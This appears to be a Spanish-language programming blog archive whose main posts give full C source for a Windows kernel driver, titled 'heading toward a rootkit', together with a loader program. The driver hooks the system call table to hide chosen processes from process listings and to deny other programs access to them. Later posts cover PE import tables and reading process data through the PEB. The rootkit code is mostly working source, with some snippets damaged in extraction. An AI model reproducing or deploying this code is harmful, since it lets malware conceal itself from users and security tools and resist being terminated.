Mostrando entradas con la etiqueta Codigo. Mostrar todas las entradas
Mostrando entradas con la etiqueta Codigo. Mostrar todas las entradas

miércoles, 30 de enero de 2013

Driver rumbo a rootkit

Continué agregando código al driver del post pasado, esta vez para ocultar el proceso y también protegerlo, ademas de que se pueden proteger hasta 3 procesos en lugar de uno, utilice el método HOOK_SYSCALL en lugar de DKOM por qué es un driver de protección que se puede descargar en cualquier momento si aplico el método DKOM debo de mantener un respaldo de las entradas a la EPROCESS modificadas y para evitar entrar en rollos mejor lo hice así.
El EXE es igual al post pasado.

Codigo de Hook.h
#include 
 
#ifndef _HOOK_H_
  #define _HOOK_H_
#endif
 
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
typedef struct _SYSTEM_THREAD {
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                   WaitTime;
  PVOID                   StartAddress;
  CLIENT_ID               ClientId;
  KPRIORITY               Priority;
  LONG                    BasePriority;
  ULONG                   ContextSwitchCount;
  ULONG                   State;
  KWAIT_REASON            WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
 
typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  SYSTEM_THREAD           Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
  
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

Código de main.c
#include 
#include "hook.h"
 
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;
 
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
 
const WCHAR     Device[]=L"\\device\\driverpid";
const WCHAR     sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING  Dev, lnk;
//int ListPID;
 
int SearchPID(HANDLE PID){
  int i;
   
  for (i = 0; i < 3; i++){
    if ((HANDLE)ListPID[i] == PID) 
      return i;
  } 
  return -1;
}
 
int FreeIndex(){
  int i;
   
  for (i = 0; i < 3; i++){
    if (ListPID[i] == 0) 
      return i;
  } 
  return -1;
}
 
/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/
 
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  int *oBuffer;
  int *iBuffer;
  int i;
  NTSTATUS Status = STATUS_SUCCESS;
   
  Stack = IoGetCurrentIrpStackLocation(Irp);
       
  iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    DbgPrint("Accesando a bloqueo de PID");
    DbgPrint("Asociando buffers...");
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            //if (ListPID == 0){
            i = FreeIndex();
            if (i >= 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID[i] = (USHORT)*iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
     
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            i = SearchPID((HANDLE)*iBuffer);
            if (i >= 0){
            //if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID[i] = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}
 
NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
  NTSTATUS Status;
  PSYSTEM_PROCESS_INFORMATION Actual, Next;
  int i;
   
  Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  //DbgPrint("Llamada a la API original");
   
  if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
    return Status;
  //DbgPrint("Han pedido informacion de procesos");
     
  if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
    return Status;
   
  //Cargamos el primer proceso que es 0 (?)
  Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  //Si es el ultimo proceso esta entrada esta seteada en 0
  //Por tanto si es el ultimo no se ejecuta el bloque while
  while (Actual->NextEntryOffset){ 
    //Cargamos el siguiente proceso
    Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
    //Si el PID del proceso es igual al que estamos protegiendo
    //Y el PID a proteger no es 0 (ningún PID a proteger)
    i = SearchPID(Next->ProcessId);
    if (Next->ProcessId != 0){
      while (i >= 0){
        DbgPrint("Ocultando Proceso: %d", ListPID[i]);
      //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
        if (Next->NextEntryOffset == 0)
        //Así que hacemos que el proceso actual sea el ultimo
          Actual->NextEntryOffset = 0;
        else
          Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
           
        Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); 
        i = SearchPID(Next->ProcessId); 
      }
      //Si no es el ultimo sumamos las entradas del actual y del siguiente
      //Para saltar la entrada de nuestro proceso
      //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
      //No salimos del break porque puede haber mas procesos a ocultar
    }
    //Cargamos el siguiente bloque de proceso
    Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
  }
  return Status;
}
  
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
  HANDLE PID;
  
  __try //Utilizamos el bloque try para evitar BSOD
  {
     PID = ClientId->UniqueProcess;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
     return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
    }
  
    //Verificamos el pid
    if ((SearchPID(PID) >= 0) && (PID != 0)){
    //if (PID == (HANDLE)ListPID){
    DbgPrint("PID: %d", PID);
    return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
  }
    else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
  
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("Descargando driver...");
  
  //Unhookeamos
  UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
  UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
  DbgPrint("Eliminando Hooks");
  //Eliminamos la MDL
  if(g_pmdlSystemCall)
  {
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  }
  DbgPrint("Proteccion a SSDT restaurada");
}
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
  int i;
   NTSTATUS Status;
   DriverObject->DriverUnload  = OnUnload;
  for(i=0; iMajorFunction[i] = IOControl; 
    
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
    
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  
     if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
        if(!NT_SUCCESS(Status)){
           IoDeleteDevice(DriverObject->DeviceObject);
             DbgPrint("Error creando link simbolico");
        }else
          DbgPrint("SymbolicLink creado y cargado.");
    }else
        DbgPrint("Error creando el device.");
    
  DbgPrint("Driver cargado.");
  /*
  Hooking de las APIs
  Obtenemos la direccion de OpenProcess
  */
  ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  
  DbgPrint("Hookeando OpenProcess...");
  /*
  Cambiamos la dirección de la SSDT por la nuestra
  */
  HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  
  ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
   
  DbgPrint("Hookeando QuerySysInfo...");
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
   return  Status;
}

Saludos!

lunes, 28 de enero de 2013

ZwOpenProcess, provocar un acceso denegado

Llevo tiempo leyendo acerca de driver y me decidí a comenzar tocar código, es por ello que hice esta modificación al driver de Hendrix, que publica en su tema "Introducción a la programación de drivers en Windows", le agregue la parte de la comunicación, se que no es mucho pero bueno por algo se comienza.
Código de EXE
#include 
#include 
#include 
 
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
void Usage(char *name);
char *ExtractFileName(char *Name);
void SendPID(int PID, int bBlock);
 
int main(int argc, char *argv[])
{
  int i = 1;
  if (argc == 1) {
    Usage(argv[0]);
    return 0;
  }
  if (strlen(argv[1]) != 2){
    Usage(argv[0]);
    return 0;
  }
  switch (argv[1][1]){
    case 'i' :
    {
      //Se abre el administrador de servicios con la flag CREATE_SERVICE
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Crea el servicio tipo Driver, que inicie con el sistema
      SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2],
                                    SERVICE_ALL_ACCESS, // Desired Access 
                                    SERVICE_KERNEL_DRIVER, // Service Type 
                                    SERVICE_DEMAND_START, // Start Type 
                                    SERVICE_ERROR_NORMAL, // Error Controle 
                                    argv[3], NULL, NULL, NULL, NULL, NULL);
      printf("Ruta: %s\n", argv[3]);
      if (Serv == NULL){
        if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico
          Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle
          if (Serv == NULL){
            printf("No se puede abrir el servicio\n");
            printf("Error 0x%x", GetLastError()); 
            return 0;
          }
        } else {
          printf("No se puede crear el servicio\n"); 
          printf("Error 0x%x", GetLastError());
          return 0;
        }
      }
      if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio
        printf("No se puede iniciar el servicio\n");
        printf("Error 0x%x", GetLastError());
        return 0; 
      }
      printf("El servicio %s se ha instalado e iniciado...", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
    case 'd':{
      //Abrimos el admin de servicios
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Se obtiene un handle del servicio
      SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS);
      if (Serv == NULL){
        printf("Error abriendo el servicio %d\n", GetLastError());
        return 0;
      }
      SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE
      BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus);
      if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido
        printf("No se ha podido detener el servicio\nError: %d", GetLastError());
        return 0; 
      }
      if (!DeleteService(Serv)){ //Lo eliminamos
        printf("Error eliminando el servicio %d", GetLastError());
        return 0;
      }
      printf("Servicio %s detenido y desinstalado", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
     
    case 'h':{
      printf("Proteccion de PID\n");
      SendPID(atoi(argv[2]), 1);
      break;
    }
     
    case 'u':{
      printf("Liberación de PID\n");
      SendPID(atoi(argv[2]), 0);
      break; 
    }
  }
  //system("PAUSE");    
  return 0;
}
 
void Usage(char *name){
  printf("%s [opciones] [parametros]\n", ExtractFileName(name));
  printf("   -i [Nombre] [Ruta]    Carga y crea el servicio del driver.\n");
  printf("   -d [Nombre]           Detiene y elimina en servicio del driver.\n");
  printf("   -h [PID]              Protege un proceso.\n");
  printf("   -u [PID]              Libera un proceso.\n");
}
 
char *ExtractFileName(char *name){
  int len = strlen(name);
   
  while (len > 0){
    if ((int)name[len] != 92)
      len--;
    else {
      len++;
      break;
    }
  }
  int iname = strlen(name) - len;
  char *ret = malloc((iname + 1)*sizeof(char));
  strcpy(ret, name + len);
  return ret;
}
 
void SendPID(int PID, int bBlock){
  HANDLE hDevice;
  BOOL bRet;
  DWORD a, dwState;
  int iBuffer, oBuffer;
   
  //iBuffer = PID;
  hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDevice != INVALID_HANDLE_VALUE)
  {
    printf("Handle Device: %d\n", hDevice);
    if (bBlock)
      dwState = (DWORD)Block; 
    else
      dwState = (DWORD)Unblock;
     
    printf("Enviando peticion\n");
    bRet = DeviceIoControl(hDevice, dwState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL);
    if (bRet)
      printf("PID: %d se respondio %d\n", iBuffer, oBuffer);  
  } else { 
    printf("No se puede establecer conexion\n");
    printf("0x%08x\n",GetLastError()); 
  }
}

Código del SYS
#include 
  
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
  
  
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
 
const WCHAR     Device[]=L"\\device\\driverpid";
const WCHAR     sLink[]=L"\\??\\driverpid";
UNICODE_STRING  Dev, lnk;
 
int ListPID;
 
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  int *oBuffer;
  int *iBuffer;
  NTSTATUS Status = STATUS_SUCCESS;
   
  Stack = IoGetCurrentIrpStackLocation(Irp);
   
  DbgPrint("Accesando a bloqueo de PID");
  DbgPrint("Asociando buffers...");
       
  iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            if (ListPID == 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID = *iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
     
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}
  
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
  HANDLE PID;
  
  __try //Utilizamos el bloque try para evitar BSOD
  {
     PID = ClientId->UniqueProcess;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
     return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
    }
  
    //Verificamos el pid
    if (PID == (HANDLE)ListPID){
    DbgPrint("PID: 0x%x", PID);
    return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
  }
    else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
  
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("Descargando driver...");
  
  //Unhookeamos
  UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
 
  //Eliminamos la MDL
  if(g_pmdlSystemCall)
  {
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  }
}
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
  int i;
   NTSTATUS Status;
   DriverObject->DriverUnload  = OnUnload;
  for(i=0; iMajorFunction[i] = IOControl; 
    
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
    
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  
     if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
        if(!NT_SUCCESS(Status)){
           IoDeleteDevice(DriverObject->DeviceObject);
             DbgPrint("Error creando link simbolico");
        }else
          DbgPrint("SymbolicLink creado y cargado.");
    }else
        DbgPrint("Error creando el device.");
    
   DbgPrint("Driver cargado.");
   ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  
   DbgPrint("Hookeando...");
   HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  
   return  Status;
}

En esta imagen se demuestra como se regresa un acceso denegado al intentar cerrar el proceso.


Saludos!

jueves, 20 de septiembre de 2012

Dumpear un módulo en memoria a disco[Parte 1]

Había estado buscando esta información hace mucho tiempo, pero por desgracia no la encontré o no supe como buscarla. A continuación hablaremos de como obtener un volcado (dump) de un módulo en memoria a un archivo en disco.

[+]Volcado de módulo.
[-]Conocimiento Previo.
[-]Conversión disco-memoria.
[-]Estructura de proceso y los módulos.
[-]Comenzando con el volcado.
[-]Archivo en disco.
[-]Referencias y agradecimientos.

[+]Volcado de módulo.
[-]Conocimiento previo.

Para el entendimiento de este documento se necesita estudiar la cabecera PE, para ello les recomiendo el texto de The Swash "Formato de ficheros ejecutables", existen mas requerimientos pero tratare de ser explicativo en ese ámbito, les recuerdo que no soy un experto en este campo y lo que escribo son investigaciones que he hecho.

[-]Conversión disco-memoria.

Como el título lo dice para entender el volcado de un módulo, cualquier archivo que contenga una cabecera PE como es el caso de un Ejecutable o una DLL (Dynamic Link Library) con la única diferencia de que la DLL contiene una tabla de exportaciones válida y ciertas flags activadas en la cabecera PE, primero es necesario entender como un archivo en disco es cargado por el Loader de Windows en memoria ya sea en un proceso nuevo o dentro de un proceso.
Dentro de IMAGE_OPTIONAL_HEADER se encuentran muchos de los datos que nos interesan como es el caso de ImageAddress, SizeOfImage, SectionAlignment, FileAlignment y los DataDirectory's; como es sabido la cabecera y las secciones están alineadas siempre en múltiplos de FileAlignment y esto se repite en memoria pero tomando como unidad SectionAlignment que normalmente tiene el valor de 0x1000, el tamaño de una página de la memoria RAM.
Dentro del proceso de conversión lo que a nosotros nos importa es cuando se copian las secciones del disco a la memoria, ese proceso comienza tomando el valor de ImageBase (normalmente 0x400000) y a partir de ese valor se comienza a copiar la cabecera PE posterior a eso se copian las secciones; antes de que el proceso comience a correr el Loader carga los módulos o librerías que se necesitan leyendo la tabla de importaciones (IT) y llenando la tabla de direcciones de importaciones (IAT) para que el proceso completo pueda hacer uso de APIs.
¿Donde podemos encontrar la IAT?
Bueno la Import Table (IT) es un array de IMAGE_IMPORT_DESCRIPTOR, el cual contiene el nombre de la DLL, existe un elemento del array por DLL. El array tiene su fin en un espacio vacío, les dejo su estructura en C.
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
ULONG Characteristics; //Valor en 0 para terminar el array
ULONG OriginalFirstThunk; // Un RVA a el primer IMAGE_THUNK_DATA de la DLL
} DUMMYUNIONNAME;

ULONG TimeDateStamp; //No sirve de mucho, muestra la fecha de la DLL
ULONG ForwarderChain; // -1 if no forwarders
ULONG Name; //Un RVA a el nombre de la DLL
ULONG FirstThunk; //Este valor en memoria contiene un puntero a la IAT de la DLL
} IMAGE_IMPORT_DESCRIPTOR;
Como ven FirstThunk contiene un puntero a el primer IMAGE_THUNK_DATA, ¿cuál es la diferencia entre FirstThunk y OriginalFirstThunk?, la diferencia es que FirstThunk es actualizado por el Loader de Windows por las direcciones a lasAPIs actuales y OriginalFisrtThunk contiene la lista virgen.
Les dejo la estructura en C de IMAGE_THUNK_DATA :
typedef struct IMAGE_THUNK_DATA {
union {
LPBYTE    ForwarderString;
FARPROC Function;
DWORD     Ordinal;
PIMAGE_IMPORT_BY_NAME   AddressOfData;
} u1;
} IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;
Esta estructura solo tiene un valor... Pero podemos utilizarla a gusto en la IAT se usa el valor Function el cual contiene un puntero a un procedimiento, en otras palabras a una API.
El caso de AddressOfData tiene un RVA a una estructura tipo IMAGE_IMPORT_BY_NAME. Su estructura es la siguiente:
typedef struct IMAGE_IMPORT_BY_NAME {
WORD    Hint;
BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;
La variable Hint contiene el index de la función en la DLL (Si también se pueden cargar APIs por index)
La variable Name es el comienzo del nombre de la DLL.

En otra entrega continuare con el tema.
Saludos!

sábado, 15 de septiembre de 2012

Enumerar módulos de procesos externos

Tenía un pequeño lío con los punteros pues no me concordaban hasta que pense un poco el problema y logre hacerlo funcionar.
Primero el proceso lista los procesos corriendo en el momento, pos teriormente los recorre uno por uno obtiene el PEB del proceso y obtiene una entrada al primer módulo, obtenemos su BaseAddress y su nombre, obtiene la siguiente entrada y así continua hasta el final.

El código esta explicado pero si hay alguna duda no duden en comentar

Descarga SendSpace

¡Saludos!

viernes, 14 de septiembre de 2012

Obtener ImageBase con PEB

Me habia ausentado del blog, pero ya estare activo y comienzo con este código que devuelve la ImageBase de un proceso, se le pasa un handle con privilegios de PROCESS_ALL_ACCESS o PROCESS_VW_READ y devuelve la ImageBase del proceso.
Para ello usamos la PEB (Process Environment Block) contiene los datos íntimos del proceso, pronto sacaré una función que liste los Thread de un proceso con la TEB (Thread Environment Block)

unit PEBData;

interface
uses Windows;

type
  PNtAnsiString = ^TNtAnsiString;
  TNtAnsiString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PAnsiChar;
  end;

  PNtUnicodeString = ^TNtUnicodeString;
  TNtUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  PLdrModule = ^TLdrModule;
  TLdrModule = packed record
    InLoadOrderModuleList          : TListEntry;      // 0h
    InMemoryOrderModuleList        : TListEntry;      // 8h
    InInitializationOrderModuleList: TListEntry;      // 10h
    BaseAddress                    : THandle;         // 18h
    EntryPoint                     : THandle;         // 1Ch
    SizeOfImage                    : Cardinal;        // 20h
    FullDllName                    : TNtUnicodeString;// 24h
                                   // Length (2)         24h
